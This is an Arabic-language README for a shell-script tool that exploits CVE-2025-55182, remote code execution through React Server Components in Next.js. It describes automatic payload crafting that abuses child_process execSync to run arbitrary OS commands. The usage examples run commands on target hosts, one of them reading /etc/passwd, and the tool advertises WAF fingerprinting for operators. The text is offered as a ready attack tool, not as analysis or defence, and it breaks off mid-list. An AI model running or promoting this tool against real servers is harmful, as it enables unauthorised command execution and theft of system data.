الماسح المتقدم CVE-2025-55182

أداة استغلال متكاملة الميزات لثغرة CVE-2025-55182 — تنفيذ التعليمات البرمجية عن بُعد عبر مكوّنات خادم React في Next.js. يقوم الماسح تلقائيًا بصياغة حمولة multipart ويستغل process.mainModule.require('child_process').execSync() لتحقيق تنفيذ أوامر نظام تشغيل عشوائية على الأنظمة المعرّضة للثغرة.

الميزات

• مولّد حمولة تلقائي — لا حاجة لترميز يدوي
• تنفيذ الأوامر مع استخراج نظيف لمخرجات STDOUT
• اكتشاف تلقائي للبروتوكول (يُضاف https:// إذا كان مفقودًا)
• فك ترميز URL بشكل صحيح + استعادة الأسطر الجديدة
• مخرجات غنية ملوّنة لتغذية راجعة سريعة للمشغّل
• بصمة الأخطاء (500 / 403 / SSL / انتهاء المهلة / أنماط WAF)

التثبيت

chmod +x scanner.sh

الاستخدام

Default scan (executes 'id')

./scanner.sh -d vulnerable-app.com

Custom command execution

./scanner.sh -d vulnerable-app.com -c "whoami"

With explicit protocol

./scanner.sh -d http://localhost:3000 -c "cat /etc/passwd"

الخيارات

أمثلة

Verify RCE

./scanner.sh -d shop.example.com

System fingerprinting